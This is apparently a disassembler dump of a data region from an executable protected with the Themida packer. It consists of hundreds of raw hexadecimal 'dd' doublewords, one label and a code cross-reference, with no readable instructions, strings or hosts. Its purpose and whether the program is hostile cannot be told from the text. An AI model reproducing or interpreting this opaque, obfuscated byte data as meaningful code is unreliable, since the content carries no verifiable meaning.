dd 612CC2F3h, 0C3C861AEh, 2A66FF4Ch, 8FFF98E5h, 0A593380h
dd 0F9918502h, 4319F64Dh, 0C6CFA89Bh, 256720DFh, 4FE2B5EAh
dd 7576D8E0h, 869149F1h, 272F4635h, 4DF17460h, 25851823h
dd 8B9646A2h, 0A7664B54h, 4646FF9Fh, 0A6DBE60Eh, 62211019h
dd 0BC61CA4Bh, 15C39F95h, 0FAA12282h, 0C7D20C37h, 0D13E4F08h
dd 0C736C99Ch, 7798F7B0h, 54BBD3E4h, 0EF206E07h, 0EE2CF970h
dd 0DD47929h, 54Eh, 0DD2AE5ACh, 7AC74844h, 1966A9E1h, 0B3000F80h
dd 4F9C731Ah, 0F598565Fh, 5734CD1Ah, 0BED26BB8h, 236B0451h
dd 76C59FECh, 0F992196Eh, 0B78D6A4Dh, 74F31C72h, 0EDBA7DFBh
dd 0F0BD277h, 6D000005h, 59EEB24h, 0A23B8887h, 41DA27E8h
dd 0DB74C14Eh, 20105DB2h, 0DB345995h, 7996F58Eh, 12FD932Ch
dd 0AD622CC5h, 2F378660h, 4DF99258h, 14784E2Bh, 0A5DA355Bh
dd 602E3FD2h, 0E4ED7AAFh, 568B8407h, 51591883h, 49F98873h
dd 681F2786h, 1B4DF987h, 0FB58A510h, 2D4403F2h, 2D82C9ACh
dd 113AEF7Ah, 0DD6CF68Ah, 0E444D770h, 500B8382h, 2D457A85h
dd 47E7785Eh, 0F19D5695h, 0A23F8B1Eh, 0B4FBEBEBh, 9A4022h
dd 9B920000h, 0F0D5DEAFh, 75252931h, 556049F1h, 7E912404h
dd 0A0A976D6h, 0C4DBF2B1h, 0F466CBBCh, 6FA0EF10h, 0D939CCD7h
dd 130695B5h, 6990C5D0h, 19EFDDE8h, 13A6090Eh, 9150353Eh
dd 0FA898C89h, 0B1707B18h, 2C7996F8h, 721EFB93h, 3495689Dh
dd 0AF82B758h, 5030C544h, 3DE224A8h, 42976h, 50A8700h
dd 0A26D1FB8h, 41CEBC55h, 0DB345BF4h, 7798F58Eh, 737B3A2Ah
dd 0FA8F51Ah, 0AD46937Ch, 46DF2CE3h, 0A07AC748h, 933E4951h
dd 603D4DF9h, 0B6748Ah, 0E49D0000h, 0A6D467A8h, 646CA5AEh
dd 47DF6023h, 0E61BF497h, 5707B13h, 0C038D46h, 27104D7h
dd 0F987DAFAh, 0B1DD9649h, 0C356295Eh, 0FF107A7Bh, 701CD594h
dd 36976A9Fh, 0B322B55Ah, 2E7B94FAh, 0FF107E37h, 5364F7CAh
dd 5FB0DE3Bh, 0B7EC572Ah, 5BB4D790h, 0FBEAF3C8h, 0B7DA343Ch
dd 0A2AD500Bh, 96D7E06Dh, 0E777F98Eh, 2C5B6347h, 4F47E778h
dd 36A1AC44h, 9AB36F77h, 778249F9h, 0A04F53F8h, 0B37A1FEBh
dd 36Eh, 0FD4AC5CCh, 9AE72864h, 39868901h, 0D320EFA0h
dd 6FBC533Ah, 0D5B8367Fh, 3754ED3Ah, 9EF28BD8h, 38B2471h
dd 96E5BF0Ch, 0F993F98Eh, 0D7AD8A4Dh, 0DF5F6423h, 5F8CFF47h
dd 616A47DFh, 17ADB574h, 6A49F988h, 82032A5Fh, 0A82C9DCAh
dd 68790C21h, 0AB6AE926h, 27EBA0B5h, 310BB82h, 236E0000h
dd 86069FECh, 0E7A33C89h, 4D42DB28h, 0B1DC75C2h, 9421115Eh
dd 8FDC335Ah, 2D7A95F6h, 0C613FC94h, 61AE612Dh, 57303887h
dd 244DF994h, 1C727147h, 2831BEF3h, 40727A39h, 6F49F182h
dd 0A0ECA564h, 0F7DFDC6Fh, 18A4C61Dh, 7EFB5637h, 3BCF7888h
dd 942D7AE5h, 0CDBAC2F9h, 0AE730741h, 760338A3h, 843A876Ch
dd 34F31C72h, 9EA6157Bh, 47DF5FE9h, 0EF248F9Ah, 7DA4891Ch
dd 21CF4FCh, 9F320F82h, 0C20F008Eh, 0B6755C65h, 0F242E0AEh
dd 679CA749h, 0F1F93C4Fh, 0FE117E4Dh, 848B00C9h, 0F5EC704Fh
dd 35ACC8F0h, 0AE7B665Eh, 43B324h, 0AE050000h, 0F901C0A5h
dd 49F17ECDh, 0DD325811h, 0FA42D5A8h, 0DA93BAEFh, 2B18A1B0h
dd 0B757FDDEh, 414E174Ch, 5BC699CEh, 5E2368C8h, 0B4D04DF2h
dd 6E662Dh, 0CD4E24AEh, 0FDFCE1FAh, 2224B713h, 0B6h, 351C7274h
dd 96E64E10h, 996055h, 2F19F21Bh, 0B3D4DC9Bh, 0D047E034h
dd 5C255AC5h, 0E0A9DE31h, 632C61AEh, 0AF97E42Bh, 47E02FBDh
dd 5BA86727h, 0E43CCC2h, 0CA897881h, 4AB27449h, 0C79ACF40h
dd 4EAA129Eh, 0DFB04146h, 0CC374247h, 94C2CA39h, 349F1A8h
dd 16818E02h, 21EE9E57h, 2B34918Eh, 9C7F8746h, 87500455h
dd 8904BD7Ch, 0EDA03986h, 82FCA322h, 0B156EDBCh, 1A1EAh
dd 7D92FF00h, 1AF59730h, 0B95634CDh, 53BCD36Ch, 0EF206D06h
dd 0EB03B2A2h, 87206DA2h, 25BE0B04h, 0BE57A46Bh, 18F23FD0h
dd 95C6C1C9h, 0D8B54DF9h, 0F41B7202h, 8F800EA7h, 0A5AE8C42h
dd 31EA01C0h, 0C020B35Ch, 49F17F06h, 0FB88C94Ah, 0D500DF6Eh
dd 30EFFA42h, 0CDA029AFh, 8D202394h, 29FB90A8h, 0B9F84DF2h
dd 4E838C00h, 3630C0BDh, 0FC67FE4Dh, 0CDC41D69h, 24AE5BF5h
dd 8922h, 107A3300h, 64F7CAFFh, 0F31C7236h, 7798F5BEh
dd 5A422A42h, 0E2AC47DFh, 4747E02Dh, 0FD0693C8h, 5515918h
dd 0F049F15Dh, 0E8A198E5h, 0F51A75A4h, 1922F78Ah, 59656D2Ch
dd 6C500408h, 0A4E9A261h, 8851E6Bh, 0D1DD8807h, 9035EDBCh
dd 0D5C9h, 0B15E3300h, 4EC1CB64h, 0ED226801h, 878807A0h
dd 23ECA13Ah, 1FCFE6D6h, 0BB54A16Eh, 59F23FD0h, 0F28BD837h
dd 4C26739Ch, 9692F5FDh, 14F14DF9h, 0F41B723Eh, 8F800EA7h
dd 1C728C42h, 99F5BEF3h, 8DFEB776h, 0E77A4D82h, 9D848DEAh
dd 8802D6DEh, 0D2DD49F9h, 55BAD49Dh, 0FA1F6F08h, 1C567F90h
dd 2F75DA0Ch, 789FD43Fh, 0AC3FD0BFh, 2C4DC14Ch, 0C51C3016h
dd 0D9B5642Ah, 0D2DA0136h, 71882EB5h, 0E550BBC6h, 808FFF98h
dd 0E829AAC1h, 0B8F30ED8h, 0BE7611C1h, 0FA057187h, 0D6B98267h
dd 0CEC17A39h, 0A6390C41h, 890A19C1h, 2B2BBCCBh, 18F7931Eh
dd 0D03F4CADh, 0F5F0F13Dh, 90297699h, 0B5DC11FEh, 23F1969Eh
dd 87927188h, 70A56A26h, 3FB0A9Dh, 65000000h, 1F723422h
dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh
dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 50D4DB10h, 0BE56E089h
dd 4AD21484h, 0F74EDEF7h, 0ACC681D6h, 81644B53h, 1D682CEEh
dd 5EF001AFh, 8704E883h
dd 535C2404h, 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h
dd 21826824h, 3C890000h, 28D86824h, 1C8B061Ah, 4C48324h
dd 4EC81h, 24890000h, 24048124h, 4, 8B8505Fh, 1000000h
dd 0BA52F8h, 1000000h, 5A1A89C2h, 243C8B58h, 5E08950h
dd 4, 405h, 24048700h, 241C8B5Ch, 5E08950h, 4, 8704C083h
dd 0E95C2404h, 0FFF84829h, 4DA1EFF1h, 1A3839B8h, 0FFC50306h
dd 316941E0h, 73B2EE70h, 56E6A55Ah, 7FA8A00Dh, 7F263F6Bh
dd 8D2CBA03h, 15280F2Bh, 0FD40462Dh, 0A95F142Bh, 0F00CF928h
dd 5F129671h, 72142F75h, 9E503651h, 6DA9B24Ch, 0C90C031Dh
dd 0BABFDD3Ch, 9BB80850h, 7ACB9A20h, 0A1D81F6Ch, 6A360070h
dd 9E965h, 2D9C0000h, 5E9Dh, 0E9000000h, 60Ch, 5DAA652Ch
dd 0FA47C8C4h, 99E62961h, 33808F00h, 0CF1CF39Ah, 7518D6DFh
dd 0D7B44D9Ah, 3E52EB38h, 0A3EB84D1h, 0F6451F6Ch, 0F99899EEh
dd 370DEA4Dh, 4C351C72h, 6E7FAA22h, 520BCA35h, 593ED13Eh
dd 0FC041B32h, 47DF748Bh, 4A3DEDF8h, 3947DF74h, 38A9B2Eh
dd 47C8BF0Ch, 0B911D1E5h, 5768FB43h, 0DAA3D837h, 1B9C5BB4h
dd 4ADB351Bh, 0F2D76AF3h, 93D4ACBh, 0B16703B9h, 907F0D1Eh
dd 30B1C55Bh, 0E936D9B5h, 0B1D94050h, 0B998295Eh, 0E853D6Fh
dd 0FD05C42Fh, 47E0148Ah, 3683EEF9h, 0E71CF39Dh, 0E3A26D1Eh
dd 0B028B062h, 0E02EDFA8h, 68919C47h, 0CC8B7B29h, 0DF80C3C4h
dd 22B5C047h, 38A9953Dh, 5836E3ADh, 535B82B7h, 47DF8134h
dd 0A8D13C47h, 2A0D2BE9h, 0D21F8A21h, 0CBC45539h, 66A9E344h
dd 0E0AEC6FBh, 0BC47E026h, 9AFA9150h, 0E222BC39h, 19AC6329h
dd 9A17h, 7AA72800h, 0E98D7C7Dh, 0C4413269h, 0B722E292h
dd 1C72F624h, 487D92FDh, 0AED50A75h, 5FF88F97h, 808B47DFh
dd 60008DEDh, 309C47DFh, 0FEFADAB1h, 192F22BCh, 40000000h
dd 9F51C1BFh, 0E057F097h, 5F889347h, 8DB664FEh, 4CB3B443h
dd 0A7D5688Ch, 8CFF1A72h, 0BCE31883h, 51868903h, 0A26D1D7Eh
dd 0F6079A6Dh, 0A3BA7996h, 0DF5FEC9Bh, 0F1848F47h, 0C34C430Ch
dd 40C1F88Eh, 0F7598D9Dh, 0DE2ABD25h, 6BA4E803h, 76A6271Eh
dd 0A5E2EAEDh, 0D647DFF3h, 0F2F6A2CBh, 741A2BBEh, 72984E9Bh
dd 0F6BFF41Bh, 65447996h, 0A8E500E1h, 0D811A67h, 8604CD02h
dd 0A8C45489h, 0FC025239h, 0BD9722BCh, 0E9000000h, 98A01B72h
dd 47DF5FEFh, 0D0A226FBh, 14ACEE08h, 3772E009h, 310C8384h
dd 6FF007C6h, 91B11845h, 1473238Ch, 6747DF93h, 1BE4C95Ch
dd 0A26BA06Fh, 23EC21EEh, 0AB70A56Ah, 0C7F5EAF7h, 0D4552EB3h
dd 604DDF2h, 0A403F097h, 7C4E88B1h, 0CBC2D366h, 9DD23D4Eh
dd 6655A1CAh, 0F8DCBCA1h, 0E6A7408Dh, 642BF429h, 0A7E676ABh
dd 0E0739CEEh, 3E464D94h, 8B22BC7Fh, 7Ch, 0F41B72DDh, 26651E35h
dd 5F4E39E9h, 642D47DFh, 136B988Bh, 0D536A173h, 4E2156B9h
dd 830DD6BBh, 0AEB6CD8Ch, 47DF78D9h, 0DF769FAAh, 0E9FE177Bh
dd 413E23B6h, 2AABE4FDh, 603D8FB9h, 0B0C154C1h, 2FE532DDh
dd 0D1259314h, 3E8676D1h, 1DF29AABh, 8CBED0E8h, 4FDE47DFh
dd 0D7FBB738h, 0BC73F8FBh, 0DF797B0Ch, 0D4FD0847h, 78BA433Ch
dd 5DA93C7Bh, 0DCB50D84h, 16222BCh, 0B4000000h, 0F5F99314h
dd 21D693FDh, 20D7D8Eh, 9EEDA6CDh, 0C1CDDE71h, 3E50194Eh
dd 0BBD39CD1h, 0DE221F54h, 0B29EDE03h, 39D6B42Fh, 0A9868FECh
dd 4C32EE1h, 0F20002FCh, 67242549h, 3F083DA8h, 8001C04Fh
dd 0C67E9578h, 5E5BEE45h, 3A50C9C5h, 4C0E7981h, 626D4DF2h
dd 30578CF7h, 4B761119h, 0FA054DF2h, 4B860767h, 0BC004DF2h
dd 8DC4CA25h, 446B298Bh, 0B80570E9h, 6BA06F1Fh, 6423ECA2h
dd 992CE3ABh, 9051D5B4h, 17D63955h, 65252C5Eh, 246B91CAh
dd 0D6A9DE49h, 71514643h, 0A624AE35h, 162h, 0C0A5AEF8h
dd 0CBD3EA01h, 47DF5FBCh, 8304B4BFh, 47DF5Fh, 4D828DFFh
dd 0D7C0F7Ah, 70CA75F6h, 0A115552Ch, 618ABD2Ah, 9A59275Bh
dd 0E02DF592h, 0E87B8647h, 0F2459A88h, 255A6549h, 90DD325Ch
dd 437897F7h, 0C6FB147Ah, 497E91FDh, 0A1020D80h, 45ED22EDh
dd 0DC538859h, 7F008958h, 0B7861370h, 596AFDC3h, 73041C35h
dd 59805BF2h, 0D4ACA1EEh, 124AED9h, 57h, 0C9A4AE53h, 24E34EC1h
dd 0DF5F4B1Ch, 9DD051C7h, 0C84F5985h, 7F8AD265h, 0CE55324Ah
dd 315DC7DEh, 0ADE0A9DEh, 0CA4E2D62h, 0B165C217h, 0FAE7F130h
dd 48C6BA3Bh, 6AEAF630h, 0DEF12562h, 0E04B56C7h, 91D6DE4Dh
dd 0B247DEF0h, 0CF4F27E9h, 0CE39067Bh, 94EA81h, 14540000h
dd 0A9DEE6FDh, 0DA47DF5Fh, 5F681FCFh, 101B47DFh, 0B29FA87Dh
dd 6723DCF3h, 0B79B7FA8h, 6C27485Bh, 4ED579D9h, 253049F2h
dd 546727F0h, 0F2443B4Ch, 0D23D484Dh, 6DA2EC85h, 426C2038h
dd 1E624DF2h, 0A96628C3h, 0FF6FF5Ch, 7B8B4850h, 0D051500Ch
dd 0FFD22624h, 0DA22B569h, 5C739ACFh, 0E7703354h, 0B2455047h
dd 0ED22EDA1h, 99885945h, 61E2A190h, 0BFC72B99h, 47E831C8h
dd 7087B0BBh, 42B14404h, 241993Ah, 0F62E34Ah, 835DE761h
dd 717CC457h, 0FD146E24h, 775C7F7Ch, 0C7776B3Dh, 47DF70C0h
dd 5025B8C3h, 939B5A47h, 49F9A840h, 68E9A8B3h, 65A64150h
dd 0D7BC4F5Fh, 428F800Eh, 1D98CA4Bh, 2B78895Eh, 77CD7F02h
dd 56E953CBh, 91C64945h, 34DBB16Ah, 639F41A1h, 4149055Fh
dd 0C0D099CEh, 70841A4Fh, 2A3E6C71h, 0AD622CB7h, 48C7C760h
dd 0CA454A13h, 0E001ED95h, 0FF8890A7h, 0EBA67D47h, 0CE507AA6h
dd 854EE623h, 0CC281ECEh, 1C7DE862h, 986BA06Fh, 759AF405h
dd 10FF8F28h, 1AF59851h, 9A7F12E5h, 3D3h, 34223D00h, 0BBF01F72h
dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h
dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 40D368D4h, 3C890000h
dd 729A6824h, 14890000h, 0E2895224h, 4C281h, 0EA810000h
dd 4, 5C241487h, 68243489h, 4072h, 68240C89h, 586A1FCAh
dd 13C98159h, 810C1559h, 750D29C9h, 81D9F740h, 6666BFE9h
dd 59CA899Dh, 8904EC83h, 4812424h, 424h, 50525E00h, 1239DFB8h
dd 2444317Fh, 468F5804h, 8768108h, 7F1239DFh, 5E2434FFh
dd 8B04C483h, 89572414h, 4C781E7h, 81000000h, 4C7h, 243C8700h
dd 41BBE95Ch, 8590FFF8h, 1C4BB705h, 1F288C78h, 0FF9FC8CEh
dd 1A3EB3B8h, 0FFC50306h, 64485DE0h, 0C282B221h, 0B6F7F80Ch
dd 1FA5847Ah, 0C36A2F76h, 4692F45Ah, 0C95CC933h, 9A4FBB71h
dd 99FF7527h, 0E1A0D87Ah, 5333F21Eh, 2D02CD6Fh, 0D0BB3B06h
dd 66929851h, 0E5313007h, 0BED51C16h, 63222F6Ah, 1ABADC5Ch
dd 6D7B364Eh, 0A54A513Bh, 369B1758h, 292C3230h, 0F830C13h
dd 7F8D8D55h, 0F061A40h, 178Dh, 0BE800h, 0E07E0000h, 5CC606C6h
dd 88612B0Dh, 0B1B58921h, 5F061217h, 2DCD8D89h, 14E90612h
db 0
byte_5FFABD db 2 dup(0), 0DEh ; CODE XREF: Themida_:005FD6D4j
dd 8ADAA4B1h, 2A7E60EFh, 8CE5F80h, 8332ECD5h, 0C73EAC12h
dd 1231BD85h, 5C6C06h, 65BD2B00h, 3061229h, 12173585h
dd 1185C706h, 61200h, 66000000h, 0B5FFF98Bh, 6120835h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 94C35343h
dd 0A780A2C4h, 699D8922h, 8B061216h, 122719BDh, 8195FF06h
dd 6A061227h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 3B96C351h, 131DBD29h, 6A0612h
dd 29D195FFh, 0C08B0612h, 12124DEBh, 0B3DBF365h, 0ACB00618h
dd 0E6D980D4h, 0E78E0C88h, 7A322D39h, 71B1352Dh, 0FEE127ACh
dd 9256EB8Fh, 6AC96550h, 99516088h, 0E8AB704Ch, 2634B0FEh
dd 8AFD36A0h, 0E5DCD468h, 49FB9E8Eh, 168276C7h, 832FA93Ch
dd 648F1139h, 8D4047D1h, 1A41B58Dh, 24F68006h, 2DCD8D89h
dd 85C70612h, 61231BDh, 7344h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 8EC35545h, 0F5B531BAh, 81061213h
dd 0A3F4BFCFh, 1185C717h, 61200h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 8B29C351h, 122DB585h, 0C5B5FF06h, 6A061231h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 501CC353h, 43EAAD8Fh, 0F4302032h, 0FE960h, 3B650000h
dd 0F2D74BB0h, 0EAB1EC02h, 0D88C085Fh, 199D8903h, 61061208h
dd 278195FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 855732C3h, 0DBB8B0B2h, 95FF006Ah
dd 61229D1h, 3BEBC08Bh, 0B6722024h, 0C95D75AEh, 0D16C54F2h
dd 0A967A53Fh, 59774B10h, 0B9CDF8E1h, 0A768F324h, 86042BDAh
dd 88F5B82Ah, 1E72D8F5h, 466B0561h, 0AAF878F8h, 22369F09h
dd 6A323DFBh, 0E9645503h, 0Ah, 6EC08550h, 0
dd 0FDE90000h, 69000004h, 19AE728h, 9E37848Bh, 3DD623ECh
dd 0D770BD52h, 1C0C59B6h, 0D7385599h, 759AF18Ah, 0E018F28h
dd 0A96628C1h, 2B33825Ch, 4DF9A15Ch, 146C421Fh, 838B305Bh
dd 47DF6004h, 0CC016C77h, 395566F9h, 2D62ADE0h, 0B4E92664h
dd 0D60B76E1h, 428F800Dh, 0F52AE5A9h, 78AD622Ch, 533CDDAFh
dd 0B7823FFEh, 64CFC1E5h, 92FBC4F9h, 0E7F487Dh, 598E810Bh
dd 3EE61B86h, 1C4A8F52h, 800ED908h, 0E7A9428Fh, 4E42DB28h
dd 0C822656Dh, 566147DFh, 0B7699F5h, 12FD934Ch, 0BAD19A7Fh
dd 0AADF305Fh, 8F376CD7h, 4CC3C780h, 9FE8F017h, 0DC47DFC7h
dd 87D366D1h, 0E018F5Ah, 1049CAC1h, 0B6A1E682h, 679C731Dh
dd 85962994h, 0B9D10609h, 47DFBCD5h, 18859C5h, 22BCA381h
dd 6A56h, 1C72A800h, 1697BEF3h, 37CD5029h, 8AEA7D31h, 47E03703h
dd 0D1B82995h, 22BC29F1h, 126h, 1A727800h, 16818EFFh, 9B7418E1h
dd 0CABDC5DCh, 0B947DF5Fh, 6D361BAEh, 0AD2EED22h, 7F0BD1B3h
dd 5F885B90h, 0EB7E2A36h, 855C7006h, 0DE3B530Ch, 0C1F661AEh
dd 424A5BEEh, 0A7E780CDh, 9B28A968h, 15D15BCBh, 5709FEDh
dd 72BF7572h, 7C35F41Bh, 0F5C8FD12h, 0D5567D62h, 7C91D765h
dd 94A53848h, 3E217F8h, 28E7A35Ch, 418D20F3h, 0C74845A0h
dd 62ADE17Ah, 0E926642Dh, 0D90824B4h, 0BC13A2B2h, 0BAD18A22h
dd 0B00EB97h, 43AE1306h, 56AEB0h, 72000000h, 828DFE1Bh
dd 7119E217h, 0BFD3699Eh, 49C6C722h, 0EF2A63FCh, 6A3D729Dh
dd 8E01CAFFh, 0A0BC4C81h, 0FD8F4841h, 0C2127F12h, 0EA22BCFCh
dd 69BCCBD3h, 0B4BF47DFh, 5A1F21h, 72710000h, 0F6BFF41Bh
dd 4340759Ah, 8607E2FFh, 8249CA89h, 75C07473h, 0AE6461F4h
dd 92F5FD14h, 0F147DF5Fh, 4A4253E6h, 424D06C5h, 32C598CDh
dd 5F59354Dh, 2C6347DFh, 0AAE5AEE3h, 0B76B3065h, 0A332B52Ah
dd 466FA0EAh, 7DD8951Eh, 58A437B1h, 0A6820289h, 15722BCh
dd 0A9000000h, 0F3F9314h, 9BE619B7h, 7C93F708h, 0FF107E47h
dd 0AB3622CAh, 78C54A40h, 6423121Bh, 0F20FA25Ch, 457A8549h
dd 0B0FD127Ch, 63987717h, 0F201424Bh, 0E100444Dh, 3A878806h
dd 0ED22EDA1h, 70A56A24h, 0F62BE4A7h, 7BB05F2Dh, 0CB10D1E5h
dd 0A2CAD54h, 7F1DEC30h, 29B80497h, 0F23FD0BEh, 0C54A42FBh
dd 0DBCDC532h, 3D1A24AEh, 2B000001h, 0BCF11E72h, 90FA8D95h
dd 7E894DF1h, 0E048EA13h, 0ADB907AEh, 0A5AEEC1Ah, 29F901C0h
dd 1449F177h, 96ADD409h, 0F178F98Eh, 7AC18A4Dh, 0B9EC7C85h
dd 0B9CA5DC8h, 54ED3AD5h, 0E79813Ah, 6D4DF1C0h, 9BC2F762h
dd 0C00B7C84h, 0AF784DF1h, 301274E4h, 861984ACh, 0C1F61975h
dd 68835EE2h, 0A79CE926h, 24AEAC2Fh, 3DFCh, 0A4AE4E00h
dd 3A56C3C9h, 62CDA0D5h, 373038F7h, 44C7DF5Fh, 0CCC17A39h
dd 0B3CBB043h, 0C7DF5ED4h, 74B32EE2h, 0AFC6856Ah, 5AEF12Eh
dd 0CB5E7A56h, 0DE80FC6Bh, 0A7F4FF47h, 9710h, 0A5AE7A00h
dd 55F901C0h, 0B049F181h, 4F3EDBAFh, 4DB88BC0h, 40128718h
dd 502064E4h, 2BB7AE5h, 794C818Eh, 21DA01E6h, 4545A669h
dd 682637CAh, 136D9B1h, 4B04C32Eh, 0C598CD42h, 0F29C3532h
dd 8C1E81Dh, 82558A85h, 71A66921h, 0E1AB0B9Eh, 0D74DF225h
dd 0FB934E93h, 0DAD45514h, 89C21C0Dh, 5625FF2h, 4E5615FCh
dd 500BCA47h, 0D03F4C05h, 0B5EAF53Dh, 386DA2ECh, 0EE3DA490h
dd 394100E5h, 4A020A5Ch, 0CDD5EC4Bh, 4DF18FBAh, 790EBEC9h
dd 0A4DF18Fh, 914794FFh, 1C0A5AEh, 0F9999CF9h, 4DE36449h
dd 987CA9C6h, 525DA538h, 0D53A541Dh, 709FEF88h, 5881233Bh
dd 8A9EF552h, 0D028C57h, 0A86727C0h, 2D354C73h, 0B6A05C5Ah
dd 7A8B1E29h, 5EF53C15h, 3BBE01h, 0A9147F90h, 1E0CC74h
dd 52BDCF88h, 0A6B74A1Dh, 0E3DA27E8h, 7AAF602Ah, 8B0314A7h
dd 3884F84h, 0F2000000h, 1F723422h, 9CF2BBF0h, 1B753E73h
dd 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h, 8406CF04h
dd 0FF8D568Bh, 51D4DB10h, 0C181E189h, 4, 8704E983h, 248B240Ch
dd 53076824h, 4890000h, 65746824h, 14890000h, 420BB824h
dd 0E0D16E4Bh, 2F40B425h, 59BF5719h, 81307B18h, 77043CF7h
dd 0F7474F11h, 81D7F7DFh, 90C9FCEFh, 5FF829D6h, 0C56DD80Dh
dd 0ABF32D3Eh, 6C68F9B5h, 8900003Ah, 4832424h, 515A0424h
dd 8B9h, 53D10100h, 0BBh, 89CB0100h, 8B595B03h, 89532414h
dd 4C381E3h, 83000000h, 1C8704C3h, 48B5C24h, 0E6895624h
dd 4C681h, 0C6830000h, 24348704h, 3A03E95Ch, 6E08FFF8h
dd 5ABAD0F8h, 69892A11h, 1A465DB8h, 0FFC50306h, 7FCB3FE0h
dd 12FB6D72h, 40A1C169h, 8D8B570Eh, 7B944A50h, 3514C323h
dd 0ACA1035Bh, 235E3C03h, 0CBE98450h, 19B6F362h, 0A1FAC876h
dd 0BD1B8A34h, 41E27573h, 0F8691137h, 39FF334Ch, 0A16A9808h
dd 76B9B82Eh, 0D0127340h, 85CEE76h, 0A0A4E750h, 857D94Dh
dd 0D4476329h, 69F57773h, 0CE5F6152h, 0E4A01C38h, 0DAA3AE3Eh
dd 588D8D6Ch, 6A061A48h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 0A8FCC355h, 153DBD8Bh
dd 95890612h, 612000Dh, 2DCD8D89h, 6A0612h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0D357D0C3h
dd 85B50100h, 0C706120Ch, 1231BD85h, 603006h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 6820FB8h, 89000000h, 1221FD95h, 1185C706h, 61200h, 66000000h
dd 0B79DCE81h, 841B5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 81BBC5C3h, 895E14EDh
dd 1231FD9Dh, 8195FF06h, 0F061227h, 682h, 45B58900h, 6A061203h
dd 0D195FF00h, 8B061229h, 0CB1AEBC0h, 8D8008B3h, 833B8EB8h
dd 0A74A23A5h, 4D3C1A6Ch, 0DA940724h, 2F099A1Ah, 0FE8E3h
dd 68D90000h, 401DA51Dh, 6F0DF8A1h, 68ADB7Ch, 10E892h
dd 2CA90000h, 2D593BECh, 1ADF0E52h, 0C7587ADh, 0CE810D65h
dd 71E91C3Eh, 8D29595Ah, 6122185h, 6DF2C181h, 0BA660000h
dd 0DB2B540Ah, 2625858Bh, 34FF0612h, 35B58B0Bh, 5F061234h
dd 0D2C781F9h, 8959C1E0h, 12264D8Dh, 72F78106h, 807CE61Dh
dd 0EF819EC0h, 22224F00h, 12E5958Bh, 8B570612h, 1214FD85h
dd 19048F06h, 81F08B66h, 0DEA1C4C6h, 4EB8325h, 81F38B66h
dd 0FF92A4FBh, 0AF850FFFh, 66FFFFFFh, 0A1B4EA81h, 1CE9h
dd 0B1DED300h, 26h, 5 dup(0)
dd 535E900h, 5B360000h, 0BECE67B4h, 1F6B0451h, 850AA3F0h
dd 0E9A43D8Ah, 0CCE9D926h, 57A46B22h, 0F542CDBEh, 8EDB345Ch
dd 297699F5h, 8FF8004Fh, 0EC4DF9A8h, 1C72390Fh, 98F5BEF3h
dd 0FD912A77h, 7E6A4054h, 0FACD020Dh, 4CDD68D1h, 0ABE3ACE1h
dd 26662F64h, 0A1EB4E9h, 95F5AED7h, 0B8D6E77Ah, 1F710A57h
dd 0F3ACA3F0h, 6B3E739Ch, 46C9C7D8h, 51BECE87h, 0A7E8491Ch
dd 0CD603368h, 0E56C1FE8h, 7A1527A9h, 52DE6C95h, 8E366BD6h
dd 0ECA43FA2h, 513DD623h, 3D51C8C8h, 5FCA9DD2h, 0E629612Ah
dd 9851107Bh, 0D4BB1CF3h, 0ABC3A83Bh, 47E058E3h, 255AB5D9h
dd 0A8DD325Ch, 479C45C9h, 8958C4h, 58A6E1E9h, 0CAD547E0h
dd 7CACA37h, 9BB222BCh, 0E064F493h, 0E97C8747h, 83E7h
dd 1C723900h, 0E7A6BEF3h, 0B147DF5Fh, 0DCF39C45h, 5FCABDC5h
dd 0AEB947DFh, 0DF5F89FEh, 5CEFFA47h, 0BCFE97EFh, 711ED722h
dd 0C41332E0h, 0B621AB93h, 12123h, 14730000h, 0FED0F893h
dd 0C457955Dh, 136D9B3h, 0FCBB5438h, 0B92D3D7Bh, 5EF1E2C3h
dd 0B5D15279h, 58E341DCh, 7D0A12D1h, 0FE47E05Eh, 404F60F3h
dd 0F0049ACFh, 2596F6F1h, 0E05E6A1Dh, 0A30E1947h, 0C2C5CDE4h
dd 0C147E05Eh, 8D2623B6h, 0BC10E01h, 0BFF41B72h, 447996F6h
dd 0CB000F7Bh, 26878802h, 0C870A56Ah, 69E005DCh, 9CF1FCE5h
dd 91FBB473h, 0E376497Eh, 0CE414DE6h, 97BAD099h, 25AD5949h
dd 0EE668FEEh, 0F6EC08DDh, 98285DC8h, 262E657Ch, 622BC61h
dd 39CC434Dh, 5637h, 1B728900h, 94F6BFF4h, 9CB0467Bh, 2CE3AA45h
dd 0C84746DFh, 4AC5CA93h, 0D13E4C15h, 58B7D39Ch, 0FFE22623h
dd 4B96B2DAh, 0BCFC3C44h, 2D631C22h, 664D4FE2h, 9F000000h
dd 0FF361B72h, 0DFC9F79Dh, 824B80EBh, 0E2A5AD0Eh, 0A147DFE5h
dd 0F9F62B96h, 0CCC12CB5h, 1440F643h, 7E86355Bh, 47DF6009h
dd 71046F7Ah, 0AEE32C60h, 0DF5FF896h, 46C9C647h, 0A5E2EA11h
dd 0D647DF5Fh, 0EC236ACBh, 8D54D8B7h, 8D46D558h, 4D70C03h
dd 0D3BC2571h, 679C731Ah, 3C940194h, 0E922BCFEh, 1, 0F718723Bh
dd 7A95F9C2h, 10E7C45h, 858A03CCh, 0AD78B50h, 38A995D5h
